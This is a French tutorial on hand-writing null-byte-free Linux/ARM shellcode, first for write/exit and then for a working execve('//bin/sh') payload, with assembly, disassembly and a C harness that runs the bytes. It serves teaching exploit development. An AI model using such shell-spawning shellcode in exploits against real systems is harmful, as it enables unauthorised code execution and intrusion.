Title: How to create a shellcode on ARM architecture ? Author: Jonathan Salwan Web: http://www.shell-storm.org/ | http://twitter.com/jonathansalwan Date: 2010-06-30 Language: French Original version: http://howto.shell-storm.org/files/howto-4.php I - Présentation de l'architecture ARM ====================================== L'architecture ARM était initialement destinée à un ordinateur de la société Acorn, puis elle a été complétée pour devenir une offre indépendante pour le marché de l'électronique embarquée. ARM est l'acronyme de Advanced Risc Machine, précédemment Acorn Risc Machine. Le coeur le plus célèbre est l'ARM7TDMI qui comporte 3 niveaux de pipeline. De plus, le ARM7TDMI dispose d'un second jeu d'instructions appelé THUMB permettant le codage d'instructions sur 16 bits et, ainsi, de réaliser un gain de mémoire important, notamment pour les applications embarquées. L'architecture ARM est également très répandue dans la téléphonie mobile. De nombreux systèmes sont portés sur cette architecture. À savoir Linux (qu'utilise notamment Maemo avec le N900 ou Android avec le Nexus One), Symbian S60 avec les Nokia N97 ou Samsung Player HD, iPhone OS avec l'iPhone et l'iPad, et Windows Mobile. ARM Ltd a ensuite développé le coeur ARM9 qui comporte 5 niveaux de pipeline. Cela permet ainsi la réduction du nombre d'opérations logiques sur chaque cycle d'horloge et donc une amélioration des performances en vitesse. II - Première approche d'un shellcode sous Linux/ARM ==================================================== Tout au long du document, nos tests seront effectués sur un processeur ARM926EJ-S. Pour commencer, jetons un coup d'oeil sur la convention des registres. Register Alt. Name Usage r0 a1 First function argument Integer function result Scratch register r1 a2 Second function argument Scratch register r2 a3 Third function argument Scratch register r3 a4 Fourth function argument Scratch register r4 v1 Register variable r5 v2 Register variable r6 v3 Register variable r7 v4 Register variable r8 v5 Register variable r9 v6 rfp Register variable Real frame pointer r10 sl Stack limit r11 fp Argument pointer r12 ip Temporary workspace r13 sp Stack pointer r14 lr Link register Workspace r15 pc Program counter Donc les registres r0 à r3 seront destinés aux arguments placés dans nos fonctions. Les registres r4 à r9 seront utilisés pour des variables diverses. Cependant r7 est utilisé pour stocker l'adresse du syscall à exécuter. r13 est le registre qui pointe sur la stack et r15 celui qui pointe sur la prochaine adresse à exécuter. Ces deux registres pourraient être comparés aux registres ESP et EIP sous x86, malgré que l'exécution des registres entre x86 et ARM soit très différente. Commençons par écrire un shellcode qui va appeler le syscall _write puis ensuite _exit. Pour commencer nous devons connaître l'adresse des syscall. Pour cela, comme d'habitude : root@ARM9:~# cat /usr/include/asm/unistd.h | grep write #define __NR_write (__NR_SYSCALL_BASE+ 4) #define __NR_writev (__NR_SYSCALL_BASE+146) #define __NR_pwrite64 (__NR_SYSCALL_BASE+181) #define __NR_pciconfig_write (__NR_SYSCALL_BASE+273) root@ARM9:~# cat /usr/include/asm/unistd.h | grep exit #define __NR_exit (__NR_SYSCALL_BASE+ 1) #define __NR_exit_group (__NR_SYSCALL_BASE+248) Ok, donc 4 pour _write et 1 pour _exit Bilan : On sait que la fonction write utilise 3 arguments: write(int __fd, __const void *__buf, size_t __n) Donc, nous avons : r0 => 1 (output) r1 => shell-storm.org\n (string) r2 => 16 (strlen(string)) r7 => 4 (syscall) r0 => 0 r7 => 1 Voici ce que cela donne en asm: root@ARM9:/home/jonathan/shellcode/write# cat write.s .section .text .global _start _start: # _write() mov r2, #16 mov r1, pc <= r1 = pc add r1, #24 <= r1 = pc + 24 (ce qui va pointer sur notre string) mov r0, $0x1 mov r7, $0x4 svc 0 # _exit() sub r0, r0, r0 mov r7, $0x1 svc 0 .ascii "shell-storm.org\n" root@ARM9:/home/jonathan/shellcode/write# as -o write.o write.s root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o root@ARM9:/home/jonathan/shellcode/write# ./write shell-storm.org root@ARM9:/home/jonathan/shellcode/write# root@ARM9:/home/jonathan/shellcode/write# strace ./write execve("./write", ["./write"], [/* 17 vars */]) = 0 write(1, "shell-storm.org\n"..., 16shell-storm.org ) = 16 exit(0) Jusqu'à maintenant, tout fonctionne correctement, cependant pour créer notre shellcode nous ne devons pas utiliser de null bytes, et notre code en est pourtant blindé. root@ARM9:/home/jonathan/shellcode/write# objdump -d write write: file format elf32-littlearm Disassembly of section .text: 00008054 <_start>: 8054: e3a02010 mov r2, #16 ; 0x10 8058: e1a0100f mov r1, pc 805c: e2811018 add r1, r1, #24 8060: e3a00001 mov r0, #1 ; 0x1 8064: e3a07004 mov r7, #4 ; 0x4 8068: ef000000 svc 0x00000000 806c: e0400000 sub r0, r0, r0 8070: e3a07001 mov r7, #1 ; 0x1 8074: ef000000 svc 0x00000000 8078: 6c656873 stclvs 8, cr6, [r5], #-460 807c: 74732d6c ldrbtvc r2, [r3], #-3436 8080: 2e6d726f cdpcs 2, 6, cr7, cr13, cr15, {3} 8084: 0a67726f beq 19e4a48 <__data_start+0x19d49c0> En ARM, il existe un mode appelé "Thumb Mode" qui permet de ramener toutes les instructions sur 16 bits au lieu de 32, ce qui va nous faciliter la vie. root@ARM9:/home/jonathan/shellcode/write# cat write.s .section .text .global _start _start: .code 32 # Thumb-Mode on add r6, pc, #1 bx r6 .code 16 # _write() mov r2, #16 mov r1, pc add r1, #12 mov r0, $0x1 mov r7, $0x4 svc 0 # _exit() sub r0, r0, r0 mov r7, $0x1 svc 0 .ascii "shell-storm.org\n" root@ARM9:/home/jonathan/shellcode/write# as -mthumb -o write.o write.s root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o root@ARM9:/home/jonathan/shellcode/write# ./write shell-storm.org Pour la compilation, il faut utiliser "-mthumb" pour bien indiquer qu'on passe en "thumb mode". Si vous regardez bien, dans le code asm, j'ai changé la valeur de r1 sur l'instruction add au lieu d'avoir fait un "add r1, #24" , j'ai fais un "add r1, #12" car je suis passé en "thumb mode". Du coup, l'adresse où est situé ma chaine est divisée par 2. Regardons ce que cela donne au niveau des null bytes: root@ARM9:/home/jonathan/shellcode/write# objdump -d write write: file format elf32-littlearm Disassembly of section .text: 00008054 <_start>: 8054: e28f6001 add r6, pc, #1 8058: e12fff16 bx r6 805c: 2210 movs r2, #16 805e: 4679 mov r1, pc 8060: 310c adds r1, #12 8062: 2001 movs r0, #1 8064: 2704 movs r7, #4 8066: df00 svc 0 8068: 1a00 subs r0, r0, r0 806a: 2701 movs r7, #1 806c: df00 svc 0 806e: 6873 ldr r3, [r6, #4] 8070: 6c65 ldr r5, [r4, #68] 8072: 2d6c cmp r5, #108 8074: 7473 strb r3, [r6, #17] 8076: 726f strb r7, [r5, #9] 8078: 2e6d cmp r6, #109 807a: 726f strb r7, [r5, #9] 807c: 0a67 lsrs r7, r4, #9 C'est déjà un peu plus propre... Il nous reste plus qu'à modifier l'instruction "svc 0" et "sub r0, r0, r0" Pour SVC nous allons utiliser "svc 1" qui fonctionne parfaitement. Pour "sub r0, r0, r0" le but est de placer 0 dans le registre r0, nous ne pouvons pas faire un "mov r0, #0" car il contiendra aussi un null bytes. Le seul moyen que j'ai trouvé est de faire un: sub r4, r4, r4 mov r0, r4 Voici ce que cela donne: root@ARM9:/home/jonathan/shellcode/write# cat write.s .section .text .global _start _start: .code 32 # Thumb-Mode on add r6, pc, #1 bx r6 .code 16 # _write() mov r2, #16 mov r1, pc add r1, #14 <==== Nous avons encore changé l'adresse, car dans exit() nous avons rajouté mov r0, $0x1 des lignes d'instructions, donc cela décale la string. mov r7, $0x4 svc 1 # _exit() sub r4, r4, r4 mov r0, r4 mov r7, $0x1 svc 1 .ascii "shell-storm.org\n" root@ARM9:/home/jonathan/shellcode/write# as -mthumb -o write.o write.s root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o root@ARM9:/home/jonathan/shellcode/write# ./write shell-storm.org root@ARM9:/home/jonathan/shellcode/write# strace ./write execve("./write", ["./write"], [/* 17 vars */]) = 0 write(1, "shell-storm.org\n"..., 16shell-storm.org ) = 16 exit(0) = ? root@ARM9:/home/jonathan/shellcode/write# objdump -d write write: file format elf32-littlearm Disassembly of section .text: 00008054 <_start>: 8054: e28f6001 add r6, pc, #1 ; 0x1 8058: e12fff16 bx r6 805c: 2210 movs r2, #16 805e: 4679 mov r1, pc 8060: 310e adds r1, #14 8062: 2001 movs r0, #1 8064: 2704 movs r7, #4 8066: df01 svc 1 8068: 1b24 subs r4, r4, r4 806a: 1c20 adds r0, r4, #0 806c: 2701 movs r7, #1 806e: df01 svc 1 8070: 6873 ldr r3, [r6, #4] 8072: 6c65 ldr r5, [r4, #68] 8074: 2d6c cmp r5, #108 8076: 7473 strb r3, [r6, #17] 8078: 726f strb r7, [r5, #9] 807a: 2e6d cmp r6, #109 807c: 726f strb r7, [r5, #9] 807e: 0a67 lsrs r7, r4, #9 Et bien voilà, nous avons un shellcode opérationnel sans aucun null bytes En C, cela donne: root@ARM9:/home/jonathan/shellcode/write/C# cat write.c #include char *SC = "\x01\x60\x8f\xe2" "\x16\xff\x2f\xe1" "\x10\x22" "\x79\x46" "\x0e\x31" "\x01\x20" "\x04\x27" "\x01\xdf" "\x24\x1b" "\x20\x1c" "\x01\x27" "\x01\xdf" "\x73\x68" "\x65\x6c" "\x6c\x2d" "\x73\x74" "\x6f\x72" "\x6d\x2e" "\x6f\x72" "\x67\x0a"; int main(void) { fprintf(stdout,"Length: %d\n",strlen(SC)); (*(void(*)()) SC)(); return 0; } root@ARM9:/home/jonathan/shellcode/write/C# gcc -o write write.c write.c: In function 'main': write.c:28: warning: incompatible implicit declaration of built-in function 'strlen' root@ARM9:/home/jonathan/shellcode/write/C# ./write Length: 44 shell-storm.org III - execv("/bin/sh", "/bin/sh", 0) ==================================== Maintenant, étudions un shellcode qui appelle execve() La structure du code devrait avoir cette forme: r0 => "//bin/sh" r1 => "//bin/sh" r2 => 0 r7 => 11 root@ARM9:/home/jonathan/shellcode/shell# cat shell.s .section .text .global _start _start: .code 32 // add r3, pc, #1 // Toute cette section est pour le "Thumb Mode" bx r3 // .code 16 // mov r0, pc // On place l'adresse de pc dans r0 add r0, #10 // et on y rajoute + 10 (qui va donc pointer sur //bin/sh) str r0, [sp, #4] // ensuite on place cela sur la stack (pour le cas où on doit le réutiliser) add r1, sp, #4 // on reprend ce qu'on à placer sur la stack pour le mettre dans r1 sub r2, r2, r2 // ou soustrait r2 par lui même (ce qui revient à mettre 0 dans r2) mov r7, #11 // syscall execve dans r7 svc 1 // on exécute .ascii "//bin/sh" root@ARM9:/home/jonathan/shellcode/shell# as -mthumb -o shell.o shell.s root@ARM9:/home/jonathan/shellcode/shell# ld -o shell shell.o root@ARM9:/home/jonathan/shellcode/shell# ./shell # exit root@ARM9:/home/jonathan/shellcode/shell# On peut même vérifier que le shellcode ne contient aucun null bytes. 8054: e28f3001 add r3, pc, #1 8058: e12fff13 bx r3 805c: 4678 mov r0, pc 805e: 300a adds r0, #10 8060: 9001 str r0, [sp, #4] 8062: a901 add r1, sp, #4 8064: 1a92 subs r2, r2, r2 8066: 270b movs r7, #11 8068: df01 svc 1 806a: 2f2f cmp r7, #47 806c: 6962 ldr r2, [r4, #20] 806e: 2f6e cmp r7, #110 8070: 6873 ldr r3, [r6, #4] Et voilà, c'est la fin de ce "howto", pour retrouver des shellcodes sous ARM voir le lien suivant: http://www.shell-storm.org/search/index.php?shellcode=arm IV - Références =============== [x] http://www.shell-storm.org [1] http://fr.wikipedia.org/wiki/Architecture_ARM [2] http://nibbles.tuxfamily.org/?p=620 [3] The ARM Instruction Set (http://www.shell-storm.org/papers/files/664.pdf) [4] ARM Addressing Modes Quick Reference Card (http://www.shell-storm.org/papers/files/663.pdf)